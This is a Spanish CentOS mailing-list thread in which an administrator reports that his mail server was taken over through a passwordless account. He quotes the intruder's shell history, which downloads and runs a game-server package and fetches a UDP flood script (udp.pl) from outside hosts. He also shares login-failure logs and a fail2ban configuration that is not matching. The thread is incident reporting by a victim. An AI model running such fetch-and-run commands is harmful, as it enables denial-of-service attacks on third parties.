Podías considerar que ese servidor ya esta tomado podrías y seguirían haciéndolo mientras más seguridad le pongas más trabajo le daras pero seguirán con lo mismo creo q debes considerar darle de baja, y armar Otro servidor en paralelo con otra ip publica pero con otra protección y cerrando algunos puertos. El abr 5, 2013 10:12 a.m., "Luis Alberto Roman Aguirre" < luisroma...@hotmail.com> escribió:
> Buenas amigos Listeros: > Retomando el tema del servidor de correos, perdón por el retraso, y > agradeciendo por la respuesta a:José María Terry Jiménez,Jesus Armando Uch > Canu,Jose Fernández Rodríguez,Francesc Guitart ...a la LISTA en GENERAL > ..y si me olvide de alguien mil disculpas. > Bueno, es comento que los días posteriores fue tanto el escaneo que al > final tomaron posesión de mi servidor a través de un usuario el cual borre > pero nada tuve que formatear el servidor todo de cero de nuevo.Pero todo > esto paso (CREO YO) , por un un usuario el cual descargo y ejecuto este > archivo: > > > > > wget > www.csservers.ro/csservers_redirecte_linux_hlds.tar.gz > tar -pxzf csservers_redirecte_linux_hlds.tar.gz > ps x > killall screen > ps x > free -m > screen > cd csservers_redirecte_linux_hlds > ./start > cd .. > > > > #wget > http://y2khom3.evonet.ro/udp.pl > #wget > www.buble.biz/alinftp/udp.pl > #wget > www.packetstormsecurity.org/DoS/udp.pl > #ps x > #cd /tmp > #ls -a > #w > > > > > > > Ahora les detallo que ingresaron por un usuario el cual hace reenvio de > correos a nivel local el cual no tenia contraseña, en el nuevo servidor le > puse contraseña a todos los usuarios y demas con > caracteres(mayusculas,minusculas y numeros). Lo que me sorprende fue aun > despues de reinstalar el centos , creo ya que me agarraron de punto , > porque note que sigo siendo escaneado por la misma lista antes de la > reinstalacion les copio parte y les adjunto en txt:dovecot: Authentication > Failures:base: 1376 > Time(s)root: 52 > Time(s)postmaster > rhost=190.210.136.21 : 32 Time(s)mlizana > rhost=10.1.0.28 : 20 Time(s)aa > rhost=113.162.161.245 : 18 Time(s)admin > rhost=183.60.20.40 : 14 Time(s)mconde: 10 > Time(s)test > rhost=183.60.20.40 : 10 Time(s)admin1 > rhost=183.60.20.40 : 8 Time(s)dedicated > rhost=183.60.20.40 : 8 Time(s)html > rhost=183.60.20.40 : 8 Time(s)user1 > rhost=183.60.20.40 : 8 Time(s)bdsistemas: > 6 Time(s) > La ip segun lo investigado es de China: > http://whatismyipaddress.com/ip/183.60.20.40 y salio esto:(ojo hay otro > router que salio mientras escribía es este http://201.77.5.191/ de > Brazil)General IP > InformationIP:183.60.20.40Decimal:3074167848Hostname:183.60.20.40ISP:ChinaNet > Guangdong Province NetworkOrganization:ChinaNet Guangdong Province > NetworkServices:None detectedType:BroadbandAssignment:Static > IPBlacklist:Geolocation InformationCountry:China > State/Region:GuangdongCity:GuangzhouLatitude:23.1167 (23° 7′ 0.12″ > N)Longitude:113.25 (113° 15′ 0.00″ E) > > Por recomendación de los ya mencionados amigos instale el fail2ban pero > creo que no hace nada o bien algo estoy haciendo mal ,posteo > configuracion:####Jail.conf[dovecot-pop3imap]enabled = truefilter = > dovecot-pop3imapaction = iptables-multiport[name=dovecot-pop3imap, > port="pop3,pop3s,imap,imaps", protocol=tcp] > sendmail-whois[name=dovecot-pop3imap, dest=root, sender=u...@xxx.xxx]logpath > = /var/log/maillogmaxretry = 2#findtime = 600bantime = 5200 > En la carpeta filter.d/dovecot-pop3imap.conf tengo > esto:[Definition]failregex = dovecot: auth-worker\(default\): > sql\(.*,<HOST>\): unknown user dovecot: (pop3|imap)-login: > Aborted login \(.*\): .*, \[<HOST>\] dovecot: (pop3|imap)-login: > Disconnected \(auth failed, .*\): .*, \[<HOST>\] dovecot: > auth\(default\): passdb\(.*,<HOST>\)\: Attempted login with password having > illegal chars dovecot: (pop3|imap)-login: Disconnected \(auth > failed, .*\): .*, \[<HOST>\] dovecot: (pop3|imap)-login: Aborted > login: .*, \[<HOST>\]ignoreregex = > La cosa que los escaneos que me hacen al dovecot el fail2ban no tiene > idea de ellos, algo estoy haciendo mal?, estoy por probar el OSSEC, pero > si hay otra herramienta o bien algo mas que se pueda hacer, ya que ser > victima de nuevo y lo peor que me baneen en la black list para una > empresa que depende del correo es lo peor que les puede suceder, hablo por > la experiencia amigos. > > Gracias por la ayuda , por leer este mail, y por soportarme amigos, desde > ya muchas gracias por sus respuestas.PDT:prometo responder como me fue , > asi ayudar a alguien mas que pueda tener este problema > Atte. > Luis Roman > > > > > > > _______________________________________________ > CentOS-es mailing list > CentOS-es@centos.org > http://lists.centos.org/mailman/listinfo/centos-es > > _______________________________________________ CentOS-es mailing list CentOS-es@centos.org http://lists.centos.org/mailman/listinfo/centos-es